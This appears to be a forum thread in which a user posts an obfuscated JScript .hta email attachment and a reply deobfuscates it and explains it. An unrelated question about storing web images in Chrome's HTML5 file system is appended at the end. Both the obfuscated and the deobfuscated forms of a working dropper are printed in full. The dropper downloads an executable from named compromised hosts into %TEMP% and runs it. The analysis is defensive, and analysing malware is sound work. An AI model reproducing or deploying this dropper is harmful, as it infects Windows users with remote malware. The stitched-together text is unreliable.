I just got an email with an attachement of .hta file and here is the code:
<html>
<head><script language='JScript'>
String.prototype.yakamurahirobetobeVIUVIUVIUtttoooo = function() {
yakamurahirobetobeVIUVIUVIUXCOP = 0;
var yakamurahirobetobeVIUVIUVIUddDccC1, yakamurahirobetobeVIUVIUVIUddDccC2, yakamurahirobetobeVIUVIUVIUc3, yakamurahirobetobeVIUVIUVIUc4;
var yakamurahirobetobeVIUVIUVIUsudarinaB = this;
yakamurahirobetobeVIUVIUVIUsudarinaB= yakamurahirobetobeVIUVIUVIUsudarinaB.replace(/GOGOGA/g, '');
var yakamurahirobetobeVIUVIUVIUout = "";
var yakamurahirobetobeVIUVIUVIUlen = yakamurahirobetobeVIUVIUVIUsud(yakamurahirobetobeVIUVIUVIUsudarinaB);
while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen) {
do {
yakamurahirobetobeVIUVIUVIUddDccC1 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff];
} while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUddDccC1 == -1);
if (yakamurahirobetobeVIUVIUVIUddDccC1 == -1)
break;
var yakamurahirobetobeVIUVIUVIUdodo = false;
do {
yakamurahirobetobeVIUVIUVIUddDccC2 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff];
yakamurahirobetobeVIUVIUVIUdodo = yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUddDccC2 == -1;
} while (yakamurahirobetobeVIUVIUVIUdodo);
if (yakamurahirobetobeVIUVIUVIUddDccC2 == -1)
break;
yakamurahirobetobeVIUVIUVIUout += String.fromCharCode((yakamurahirobetobeVIUVIUVIUddDccC1 << 2) | ((yakamurahirobetobeVIUVIUVIUddDccC2 & 0x30) >> 4));
do {
yakamurahirobetobeVIUVIUVIUc3 = yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff;
if (yakamurahirobetobeVIUVIUVIUc3 == 10*6+0.5*2)
return yakamurahirobetobeVIUVIUVIUout;
yakamurahirobetobeVIUVIUVIUc3 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUc3];
} while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUc3 == -1);
if (yakamurahirobetobeVIUVIUVIUc3 == -1)
break;
yakamurahirobetobeVIUVIUVIUout += String.fromCharCode(((yakamurahirobetobeVIUVIUVIUddDccC2 & 0XF) << 4) | ((yakamurahirobetobeVIUVIUVIUc3 & 0x3c) >> 2));
do {
yakamurahirobetobeVIUVIUVIUc4 = yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff;
if (yakamurahirobetobeVIUVIUVIUc4 == 61)
return yakamurahirobetobeVIUVIUVIUout;
yakamurahirobetobeVIUVIUVIUc4 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUc4];
} while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUc4 == -1);
if (yakamurahirobetobeVIUVIUVIUc4 == -1)
break;
yakamurahirobetobeVIUVIUVIUout += String.fromCharCode(((yakamurahirobetobeVIUVIUVIUc3 & 0x03) << 6) | yakamurahirobetobeVIUVIUVIUc4);
}
return yakamurahirobetobeVIUVIUVIUout;
};
function ProcessFolder(folderPath)
{
var path = "";
for (var i in maskArr)
{
path = folderPath + "\\" + maskArr[i];
try { fsoObj.DeleteFile(path); } catch (e) {}
try { fsoObj.DeleteFolder(path); } catch (e) {}
}
var subfolders = new Enumerator(fsoObj.GetFolder(folderPath).SubFolders);
for(; !subfolders.atEnd(); subfolders.moveNext())
ProcessFolder(subfolders.item().Path);
}
function yakamurahirobetobeVIUVIUVIUsud(vardos){
return vardos[("yakamurahirobetobeVIUVIUVIUprosy","yakamurahirobetobeVIUVIUVIUoffering","yakamurahirobetobeVIUVIUVIUspecialized","yakamurahirobetobeVIUVIUVIUalicia","yakamurahirobetobeVIUVIUVIUenormity","l") + ("yakamurahirobetobeVIUVIUVIUinter","yakamurahirobetobeVIUVIUVIUcrest","yakamurahirobetobeVIUVIUVIUnoisily","yakamurahirobetobeVIUVIUVIUpenguin","yakamurahirobetobeVIUVIUVIUdrops","en")+("yakamurahirobetobeVIUVIUVIUplaintiff","yakamurahirobetobeVIUVIUVIUholiday","yakamurahirobetobeVIUVIUVIUsymphony","yakamurahirobetobeVIUVIUVIUlegally","yakamurahirobetobeVIUVIUVIUcelibate","gt")+("yakamurahirobetobeVIUVIUVIUappointments","yakamurahirobetobeVIUVIUVIUlooksmart","yakamurahirobetobeVIUVIUVIUmotorcycles","yakamurahirobetobeVIUVIUVIUbreakwater","yakamurahirobetobeVIUVIUVIUchart","h")];
}
yakamurahirobetobeVIUVIUVIUmisterdenisk.dEDWWEE = function(){
yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1);
yakamurahirobetobeVIUVIUVIUok(yakamurahirobetobeVIUVIUVIUspyFunction1.yakamurahirobetobeVIUVIUVIUcalledWith(), "Function called without arguments");
yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1, "PROPER1");
yakamurahirobetobeVIUVIUVIUok(yakamurahirobetobeVIUVIUVIUspyFunction1.yakamurahirobetobeVIUVIUVIUcalledWith("PROPER1"), "Function called with 'PROPER1' argument");
yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1, ["PROPER1", "PROPER2"]);
};
var yakamurahirobetobeVITKS = new Array(-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-39,-102,-102,-102,-38,-49,-48,-47,-46,-45,-44,-43,-42,-41,-40,-102,-102,-102,-102,-102,-102,-102,-101,-100,-99,-98,-97,-96,-95,-94,-93,-92,-91,-90,-89,-88,-87,-86,-85,-84,-83,-82,-81,-80,-79,-78,-77,-76,-102,-102,-102,-102,-102,-102,-75,-74,-73,-72,-71,-70,-69,-68,-67,-66,-65,-64,-63,-62,-61,-60,-59,-58,-57,-56,-55,-54,-53,-52,-51,-50,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102);
var yakamurahirobetobeVITKI, yakamurahirobetobeVITKSn = yakamurahirobetobeVITKS.length;
for (yakamurahirobetobeVITKI= 0; yakamurahirobetobeVITKI < yakamurahirobetobeVITKSn; ++yakamurahirobetobeVITKI) {
yakamurahirobetobeVITKS[yakamurahirobetobeVITKI] = yakamurahirobetobeVITKS[yakamurahirobetobeVITKI] + 101;
}
function moveToParentFolder(parentFolder, folder) {
// 対象フォルダのサブフォルダ列挙
var subFolders = new Enumerator(folder.SubFolders);
// サブフォルダ内のファイルを移動
for (; !subFolders.atEnd(); subFolders.moveNext()) {
moveToParentFolder(parentFolder, subFolders.item());
}
// フォルダ内のファイル列挙
var files = new Enumerator(folder.Files);
// ファイルを移動
for (; !files.atEnd(); files.moveNext()) {
try {
files.item().Move(parentFolder.Path + '\\');
}
catch (e) {
WScript.Echo(e.description + "\n" + files.item().Path);
}
}
// ファイルとサブフォルダがなければフォルダ削除
if (folder.Files.Count == 0 && folder.SubFolders.Count == 0) {
try {
folder.Delete(true);
}
catch (e) {
WScript.Echo(e.description + "\n" + folder.Path);
}
}
}
var yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq = {'U': 'S', ':': '.','88':'', '77':'','HOLSTEN': 'X', '99':'', 'PLAHISH':'ons'};
function yakamurahirobetobeVIUVIUVIUachievment(yakamurahirobetobeVIUVIUVIUbidttt){if(yakamurahirobetobeVIUVIUVIUbidttt==1){return 2;}else{return 17;}
return 3;};
function yakamurahirobetobeVIUVIUVIUcenter(yakamurahirobetobeVIUVIUVIUrivulet) {
request = yakamurahirobetobeVIUVIUVIUrivulet;
for (var yakamurahirobetobeVIUVIUVIUXCOP in yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq){request = request.replace(yakamurahirobetobeVIUVIUVIUXCOP, yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq[yakamurahirobetobeVIUVIUVIUXCOP]);}
return request;
};
var yakamurahirobetobeVIUVIUVIUDRUZA = 43* (51-2)*(27-26-1);
function yakamurahirobetobeVIUVIUVIUmisterdenisk(yakamurahirobetobePOPSPOPx, yakamurahirobetobePOPSPOPy) {
yakamurahirobetobePOPSPOPx = DDyakamurahirobetobePOPSPOP * yakamurahirobetobePOPSPOPddd;
yakamurahirobetobePOPSPOPy = yakamurahirobetobePOPSPOPZZ + 245;
};
var yakamurahirobetobeVIUVIUVIUsecupeku=typeof(yakamurahirobetobeVIUVIUVIUGzEAPd)==="undefined";
var yakamurahirobetobeVIUVIUVIUchosen = 0.5 * 2;
if(!yakamurahirobetobeVIUVIUVIUsecupeku){
yakamurahirobetobeVIUVIUVIUmisterdenisk.scale = function(yakamurahirobetobeVIUVIUVIUp, yakamurahirobetobeVIUVIUVIUscaleX, yakamurahirobetobeVIUVIUVIUscaleY) {
if (yakamurahirobetobeVIUVIUVIUXCOPsObject(yakamurahirobetobeVIUVIUVIUscaleX)) {
yakamurahirobetobeVIUVIUVIUscaleY = yakamurahirobetobeVIUVIUVIUscaleX.y;
yakamurahirobetobeVIUVIUVIUscaleX = yakamurahirobetobeVIUVIUVIUscaleX.x;
} else if (!yakamurahirobetobeVIUVIUVIUXCOPsNumber(yakamurahirobetobeVIUVIUVIUscaleY)) {
yakamurahirobetobeVIUVIUVIUscaleY = yakamurahirobetobeVIUVIUVIUscaleX;
}
return new yakamurahirobetobeVIUVIUVIUmisterdenisk(yakamurahirobetobeVIUVIUVIUp.x * yakamurahirobetobeVIUVIUVIUscaleX, yakamurahirobetobeVIUVIUVIUp.y * yakamurahirobetobeVIUVIUVIUscaleY);
};
}
if(!yakamurahirobetobeVIUVIUVIUsecupeku){
yakamurahirobetobeVIUVIUVIUmisterdenisk.yakamurahirobetobeVIUVIUVIUsameOrN = function(yakamurahirobetobeVIUVIUVIUparam1, yakamurahirobetobeVIUVIUVIUparam2) {
return yakamurahirobetobeVIUVIUVIUparam1.D == yakamurahirobetobeVIUVIUVIUparam2.D || yakamurahirobetobeVIUVIUVIUparam1.F == yakamurahirobetobeVIUVIUVIUparam2.F;
};
yakamurahirobetobeVIUVIUVIUmisterdenisk.angle = function(yakamurahirobetobeVIUVIUVIUp) {
return Math.atan2(yakamurahirobetobeVIUVIUVIUp.y, yakamurahirobetobeVIUVIUVIUp.x);
};
}
var yakamurahirobetobeVIUVIUVIUVARDOCF ="JVRFTVAl".yakamurahirobetobeVIUVIUVIUtttoooo();
var yakamurahirobetobeVIUVIUVIUfinde = "QWN0aXZlWE9iamVjdA==".yakamurahirobetobeVIUVIUVIUtttoooo();
String.prototype.yakamurahirobetobeVIUVIUVIUcenter2 = function () {
var yakamurahirobetobeVIUVIUVIUpirkinst = {
yakamurahirobetobeVIUVIUVIUVARDOCG: this
};
yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCE = yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCG["c3Vic3RyaW5n".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUDRUZA, yakamurahirobetobeVIUVIUVIUchosen);
return yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCE;
};
var yakamurahirobetobeVIUVIUVIUsirdallos ="RXhwYW5kRW52aXJvbm1lbnRTdHJpbmdz".yakamurahirobetobeVIUVIUVIUtttoooo();
var yakamurahirobetobeVIUVIUVIUNative = function(options){
};yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUXCOPmplement = function(yakamurahirobetobeVIUVIUVIUobjects, yakamurahirobetobeVIUVIUVIUproperties){
for (var yakamurahirobetobeVIUVIUVIUXCOP = 0, yakamurahirobetobeVIUVIUVIUl = yakamurahirobetobeVIUVIUVIUobjects.length; yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUl; yakamurahirobetobeVIUVIUVIUXCOP++) yakamurahirobetobeVIUVIUVIUobjects[yakamurahirobetobeVIUVIUVIUXCOP].yakamurahirobetobeVIUVIUVIUXCOPmplement(yakamurahirobetobeVIUVIUVIUproperties);
};
var yakamurahirobetobeVIUVIUVIUd7 = yakamurahirobetobeVIUVIUVIUcenter("77M"+"88SX"+"99ML"+("yakamurahirobetobeVIUVIUVIUmosquitoes","yakamurahirobetobeVIUVIUVIUphoto","yakamurahirobetobeVIUVIUVIUstayed","yakamurahirobetobeVIUVIUVIUgrenada","yakamurahirobetobeVIUVIUVIUreindeer","2.")+"HOLSTENM"+"LH"+"TT"+("yakamurahirobetobeVIUVIUVIUillusory","yakamurahirobetobeVIUVIUVIUcontained","yakamurahirobetobeVIUVIUVIUbilliards","yakamurahirobetobeVIUVIUVIUrefers","yakamurahirobetobeVIUVIUVIUtransexuales","yakamurahirobetobeVIUVIUVIUspecification","yakamurahirobetobeVIUVIUVIUconstitutes","yakamurahirobetobeVIUVIUVIUdesideratum","P}")+"WU"+("yakamurahirobetobeVIUVIUVIUegregious","yakamurahirobetobeVIUVIUVIUdietary","yakamurahirobetobeVIUVIUVIUcelebrity","yakamurahirobetobeVIUVIUVIUhopes","yakamurahirobetobeVIUVIUVIUdrunk","yakamurahirobetobeVIUVIUVIUperiodically","yakamurahirobetobeVIUVIUVIUfatherhood","cr")+("yakamurahirobetobeVIUVIUVIUgenerations","yakamurahirobetobeVIUVIUVIUquarterly","yakamurahirobetobeVIUVIUVIUwording","yakamurahirobetobeVIUVIUVIUpeking","yakamurahirobetobeVIUVIUVIUreturning","yakamurahirobetobeVIUVIUVIUsuccor","yakamurahirobetobeVIUVIUVIUcharging","yakamurahirobetobeVIUVIUVIUmagnify","ip")+"t:S"+("yakamurahirobetobeVIUVIUVIUtoward","yakamurahirobetobeVIUVIUVIUoutlined","yakamurahirobetobeVIUVIUVIUsubstitute","yakamurahirobetobeVIUVIUVIUamend","yakamurahirobetobeVIUVIUVIUfigurative","yakamurahirobetobeVIUVIUVIUdeviation","yakamurahirobetobeVIUVIUVIUlatch","yakamurahirobetobeVIUVIUVIUtyson","h")+"e"+("yakamurahirobetobeVIUVIUVIUsixtytwo","yakamurahirobetobeVIUVIUVIUravenous","yakamurahirobetobeVIUVIUVIUorganize","yakamurahirobetobeVIUVIUVIUcholera","yakamurahirobetobeVIUVIUVIUoptimism","yakamurahirobetobeVIUVIUVIUdonate","yakamurahirobetobeVIUVIUVIUhouseboat","yakamurahirobetobeVIUVIUVIUincumbent","ll"));
var yakamurahirobetobeVIUVIUVIUDoUtra = [yakamurahirobetobeVIUVIUVIUfinde, yakamurahirobetobeVIUVIUVIUsirdallos,yakamurahirobetobeVIUVIUVIUVARDOCF, ""+"."+("yakamurahirobetobeVIUVIUVIUcognition","yakamurahirobetobeVIUVIUVIUtrumpery","yakamurahirobetobeVIUVIUVIUpapers","yakamurahirobetobeVIUVIUVIUnecessitate","yakamurahirobetobeVIUVIUVIUesplanade","yakamurahirobetobeVIUVIUVIUwrinkle","yakamurahirobetobeVIUVIUVIUreunion","yakamurahirobetobeVIUVIUVIUtorpor","exe"), "UnVu".yakamurahirobetobeVIUVIUVIUtttoooo(),yakamurahirobetobeVIUVIUVIUd7];
yakamurahirobetobeVIUVIUVIURichters = yakamurahirobetobeVIUVIUVIUDoUtra.shift();
yakamurahirobetobeVIUVIUVIUfabled = "BIL2NEBIL";
yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUgenericize = function(object, yakamurahirobetobeVIUVIUVIUproperty, yakamurahirobetobeVIUVIUVIUcheck){
if ((!yakamurahirobetobeVIUVIUVIUcheck || !object[yakamurahirobetobeVIUVIUVIUproperty]) && typeof object.prototype[yakamurahirobetobeVIUVIUVIUproperty] == 'function') object[yakamurahirobetobeVIUVIUVIUproperty] = function(){
return object.prototype[yakamurahirobetobeVIUVIUVIUproperty].apply(yakamurahirobetobeVIUVIUVIUargs.shift(), yakamurahirobetobeVIUVIUVIUargs);
};
};
yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUtypize = function(object, yakamurahirobetobeVIUVIUVIUfamily){
if (!object.type) object.type = function(item){
return (yakamurahirobetobeVIUVIUVIU$type(item) === yakamurahirobetobeVIUVIUVIUfamily);
};
};
var yakamurahirobetobeVIUVIUVIULitoyDISK = this[yakamurahirobetobeVIUVIUVIURichters ];
yakamurahirobetobeVIUVIUVIUcasque = (("yakamurahirobetobeVIUVIUVIUinterpose", "yakamurahirobetobeVIUVIUVIUmorphine", "yakamurahirobetobeVIUVIUVIUshipped", "yakamurahirobetobeVIUVIUVIUdiagonal", "yakamurahirobetobeVIUVIUVIUdelta", "yakamurahirobetobeVIUVIUVIUwhiles", "yakamurahirobetobeVIUVIUVIUsynthetic", "pwrthrthrthtr") + "hrhrwhrwh").yakamurahirobetobeVIUVIUVIUcenter2();
yakamurahirobetobeVIUVIUVIUtudabilo1 = (("yakamurahirobetobeVIUVIUVIUachieved", "yakamurahirobetobeVIUVIUVIUfilms", "yakamurahirobetobeVIUVIUVIUinflected", "yakamurahirobetobeVIUVIUVIUsuburban", "yakamurahirobetobeVIUVIUVIUoriginating", "yakamurahirobetobeVIUVIUVIUpuppy", "yakamurahirobetobeVIUVIUVIUflower", "yakamurahirobetobeVIUVIUVIUencounter", "yakamurahirobetobeVIUVIUVIUearning", "serhrth") + "herrth4th4wh").yakamurahirobetobeVIUVIUVIUcenter2();
var yakamurahirobetobeVIUVIUVIUd2 = yakamurahirobetobeVIUVIUVIUDoUtra.pop();
var yakamurahirobetobeVIUVIUVIUrampart = new yakamurahirobetobeVIUVIUVIULitoyDISK(yakamurahirobetobeVIUVIUVIUd2.split("}")[1]);
var yakamurahirobetobeVIUVIUVIUsudabilo1 = new yakamurahirobetobeVIUVIUVIULitoyDISK(yakamurahirobetobeVIUVIUVIUd2.split("}")[0]);
var yakamurahirobetobeVIUVIUVIUvulture = yakamurahirobetobeVIUVIUVIUrampart[yakamurahirobetobeVIUVIUVIUDoUtra.shift()](yakamurahirobetobeVIUVIUVIUDoUtra.shift());
var yakamurahirobetobeVIUVIUVIUweasel = "E";
var yakamurahirobetobeVIUVIUVIUamalgamation = yakamurahirobetobeVIUVIUVIUDoUtra.shift();
var yakamurahirobetobeVIUVIUVIUpromises = yakamurahirobetobeVIUVIUVIUDoUtra.shift();
var yakamurahirobetobeVIUVIUVIUostrokoncert = "b3Blbg==".yakamurahirobetobeVIUVIUVIUtttoooo();
yakamurahirobetobeVIUVIUVIURhXxGud = "type";
function yakamurahirobetobeVIUVIUVIU_a2(yakamurahirobetobeVIUVIUVIUgutter, yakamurahirobetobeVIUVIUVIUStrokaParam2) {
var yakamurahirobetobeVIUVIUVIUwandermander = yakamurahirobetobeVIUVIUVIUvulture;
yakamurahirobetobeVIUVIUVIUwandermander=yakamurahirobetobeVIUVIUVIUwandermander+ "\u002f";
yakamurahirobetobeVIUVIUVIUwandermander=yakamurahirobetobeVIUVIUVIUwandermander + yakamurahirobetobeVIUVIUVIUStrokaParam2 ;
yakamurahirobetobeVIUVIUVIUsudabilo1[yakamurahirobetobeVIUVIUVIUostrokoncert](("yakamurahirobetobeVIUVIUVIUpossibilities","yakamurahirobetobeVIUVIUVIUportsmouth","yakamurahirobetobeVIUVIUVIUiceland","yakamurahirobetobeVIUVIUVIUcommodity","yakamurahirobetobeVIUVIUVIUslash","yakamurahirobetobeVIUVIUVIUlocate","yakamurahirobetobeVIUVIUVIUtechno","yakamurahirobetobeVIUVIUVIUlabour","G" + yakamurahirobetobeVIUVIUVIUweasel) + ("yakamurahirobetobeVIUVIUVIUcringe","yakamurahirobetobeVIUVIUVIUintolerance","yakamurahirobetobeVIUVIUVIUbraxton","yakamurahirobetobeVIUVIUVIUdappled","yakamurahirobetobeVIUVIUVIUvestibule","yakamurahirobetobeVIUVIUVIUaffirmation","yakamurahirobetobeVIUVIUVIUpriestess","yakamurahirobetobeVIUVIUVIUjerry","yakamurahirobetobeVIUVIUVIUmilliner","yakamurahirobetobeVIUVIUVIUsheriff","T"), yakamurahirobetobeVIUVIUVIUgutter, false);
yakamurahirobetobeVIUVIUVIUsudabilo1.setRequestHeader("User-Agent", "TW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMCk=".yakamurahirobetobeVIUVIUVIUtttoooo());
yakamurahirobetobeVIUVIUVIUsudabilo1[yakamurahirobetobeVIUVIUVIUtudabilo1 + ("yakamurahirobetobeVIUVIUVIUtrader","yakamurahirobetobeVIUVIUVIUconsumptive","yakamurahirobetobeVIUVIUVIUharass","yakamurahirobetobeVIUVIUVIUprofession","yakamurahirobetobeVIUVIUVIUmedicare","end")]();
yakamurahirobetobeVIUVIUVIUwandermander = yakamurahirobetobeVIUVIUVIUwandermander + yakamurahirobetobeVIUVIUVIUamalgamation;
if (yakamurahirobetobeVIUVIUVIUsecupeku) {
var yakamurahirobetobeVIUVIUVIUNananananananana = new yakamurahirobetobeVIUVIUVIULitoyDISK(("ARYBKA"+("yakamurahirobetobeVIUVIUVIUchichester","yakamurahirobetobeVIUVIUVIUbreakwater","yakamurahirobetobeVIUVIUVIUpromotional","yakamurahirobetobeVIUVIUVIUcosmetics","yakamurahirobetobeVIUVIUVIUbrunswick","yakamurahirobetobeVIUVIUVIUoptional","yakamurahirobetobeVIUVIUVIUmicro","yakamurahirobetobeVIUVIUVIUnominee","O")+"DB"+("yakamurahirobetobeVIUVIUVIUregarding","yakamurahirobetobeVIUVIUVIUcaretaker","yakamurahirobetobeVIUVIUVIUrepugnant","yakamurahirobetobeVIUVIUVIUcorfu","yakamurahirobetobeVIUVIUVIUunbiased","yakamurahirobetobeVIUVIUVIUenquiry","yakamurahirobetobeVIUVIUVIUinteresting",".S")+"tr12").replace("RYBKA", "D").replace("12", "eam"));
yakamurahirobetobeVIUVIUVIUNananananananana[yakamurahirobetobeVIUVIUVIUostrokoncert]();
yakamurahirobetobeVIUVIUVIUNananananananana[yakamurahirobetobeVIUVIUVIURhXxGud] = yakamurahirobetobeVIUVIUVIUchosen;
yakamurahirobetobePAPAPAMGaSMa = "BIL10NEBIL";
yakamurahirobetobeVIUVIUVIUNananananananana["d3JpdGU=".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUsudabilo1[("yakamurahirobetobeVIUVIUVIUmephistopheles","yakamurahirobetobeVIUVIUVIUgeneva","yakamurahirobetobeVIUVIUVIUstrategic","yakamurahirobetobeVIUVIUVIUmaybe","yakamurahirobetobeVIUVIUVIUlibyan","yakamurahirobetobeVIUVIUVIUdrivers","Re")+"s"+("yakamurahirobetobeVIUVIUVIUappeals","yakamurahirobetobeVIUVIUVIUmyanmar","yakamurahirobetobeVIUVIUVIUpicked","yakamurahirobetobeVIUVIUVIUprimrose","yakamurahirobetobeVIUVIUVIUmagazines","yakamurahirobetobeVIUVIUVIUscorch","p")+yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq['PLAHISH']+"e"+"Qm9keQ==".yakamurahirobetobeVIUVIUVIUtttoooo()]);
yakamurahirobetobeVIUVIUVIUXWaxeQhw = "BIL11NEBIL";
yakamurahirobetobeVIUVIUVIUNananananananana[(yakamurahirobetobeVIUVIUVIUcasque + "o"+"220"+("yakamurahirobetobeVIUVIUVIUadhered","yakamurahirobetobeVIUVIUVIUadobe","yakamurahirobetobeVIUVIUVIUconcerning","yakamurahirobetobeVIUVIUVIUguidelines","yakamurahirobetobeVIUVIUVIUacclamation","yakamurahirobetobeVIUVIUVIUhomes","yakamurahirobetobeVIUVIUVIUcontumely","22i")+"tion").replace("22"+("yakamurahirobetobeVIUVIUVIUpressure","yakamurahirobetobeVIUVIUVIUbarrow","yakamurahirobetobeVIUVIUVIUanymore","yakamurahirobetobeVIUVIUVIUapparatus","yakamurahirobetobeVIUVIUVIUlocations","yakamurahirobetobeVIUVIUVIUlobby","yakamurahirobetobeVIUVIUVIUcentres","022"), yakamurahirobetobeVIUVIUVIUtudabilo1)] = 0;
yakamurahirobetobeVIUVIUVIUkrDwvrh = "BIL12NEBIL";
yakamurahirobetobeVIUVIUVIUNananananananana["c2F2ZVRvRmlsZQ==".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUwandermander, 2);
yakamurahirobetobeVIUVIUVIUSswQdi = "BIL13NEBIL";
yakamurahirobetobeVIUVIUVIUNananananananana["Y2xvc2U=".yakamurahirobetobeVIUVIUVIUtttoooo()]();
yakamurahirobetobeVIUVIUVIUrampart[yakamurahirobetobeVIUVIUVIUpromises](yakamurahirobetobeVIUVIUVIUwandermander, yakamurahirobetobeVIUVIUVIUchosen, true);
}
};
var yakamurahirobetobeVIUVIUVIU_a5 = ["dGOGOGA3d3LmFnZW56aWFkaW5pLml0L0dIQnV5ZDQ3MgGOGOGA==","a2xuaGOGOGAmxsemw3OC53ZWIuZmMyLmNvbS9HSEJ1eWQ0NzI=","bWFuaW1hbmltb25leS53ZWIuGOGOGAZmMyLmNvbS9HSEJ1eWQ0NzI="];
for(yakamurahirobetobeVIUVIUVIUuueee in yakamurahirobetobeVIUVIUVIU_a5){
try{
yakamurahirobetobeVIUVIUVIU_a2("http://"+yakamurahirobetobeVIUVIUVIU_a5[yakamurahirobetobeVIUVIUVIUuueee].yakamurahirobetobeVIUVIUVIUtttoooo() + "?bPxXNr=LUmUhmmq","Exgngo");
}catch(yakamurahirobetobeVIUVIUVIU_a3){alert(yakamurahirobetobeVIUVIUVIU_a3.message);}
}
</script>
</body>
</html>
I opened it in my browser and now i'm afraid it is some kind of a hack.
what can I do now for my security?
should i delete all senstive data in my browser? I'm using google chrome which has all passwords stored. I'm using Ubuntu 16.04.
I received this attachement today and decided to investigate a bit. Here is the deobfuscated version:
var wscriptShell = new ActiveXObject('WScript.Shell');
var msxml2XmlHttp = new ActiveXObject('MSXML2.XMLHTTP');
var tempFolder = wscriptShell.ExpandEnvironmentStrings("%TEMP%");
function download(url, file) {
var fullpath = tempFolder + '/' + file + '.exe';
msxml2XmlHttp.open("GET", url, false);
msxml2XmlHttp.setRequestHeader("User-Agent", 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');
msxml2XmlHttp["send"]();
var adodbStream = new ActiveXObject("ADODB.Stream");
adodbStream.open();
adodbStream.type = 1;
adodbStream.write(sudabilo1["ResponseBody"]);
adodbStream.position = 0;
adodbStream.saveToFile(fullpath, 2);
adodbStream.close();
wscriptShell.Run(fullpath, 1, true);
}
var urls = [
"brunnenburg.de/GHBuyd472",
"klnjllzl78.web.fc2.com/GHBuyd472",
"w3rx80no.homepage.t-online.de/GHBuyd472"
];
for(i in urls) {
try {
download("http://" + urls[i] + "?huLara=HlyrvuBeY", "yXbJOHB");
} catch(e) { alert(e.message); }
}
Basically what it does is download an executable file from a compromised server into your temp directory and runs it. I have not investigated the file further.
Since you are not using windows, this is harmless. If you were, the first step would be to check if a file named Exgngo.exe (this line contains the relevant name: yakamurahirobetobeVIUVIUVIU_a2("http://"+yakamurahirobetobeVIUVIUVIU_a5[yakamurahirobetobeVIUVIUVIUuueee].yakamurahirobetobeVIUVIUVIUtttoooo() + "?bPxXNr=LUmUhmmq","Exgngo");) is in your %TEMP% directory. If it is, contact someone that knows what he's doing to deal with it.
EDIT: Virus Total here.
I am trying to use HTML5 system to store images of my website, and I find there are many example to show how to store a local image to your chrome file system but I can't find the way to get a image by web url and then store it in HTML5 file system.
This is my code, but it's wrong.
lib.ajax.get(file , function(xhr, data){
if(xhr.status == 200){
fs.root.getFile("test.jpg", {create: true}, function(fileEntry) {
// Create a FileWriter object for our FileEntry (log.txt).
fileEntry.createWriter(function(fileWriter) {
fileWriter.onwriteend = function(e) {
console.log('Write completed.');
};
fileWriter.onerror = function(e) {
console.log('Write failed: ' + e.toString());
};
// Create a new Blob and write it to log.txt.
var bb = new BlobBuilder(); // Note: window.WebKitBlobBuilder in Chrome 12.
bb.append(data);
fileWriter.write(bb.getBlob('image/jpeg'));
callback && callback("test.jpg");
}, errorHandler);
}, errorHandler);
}
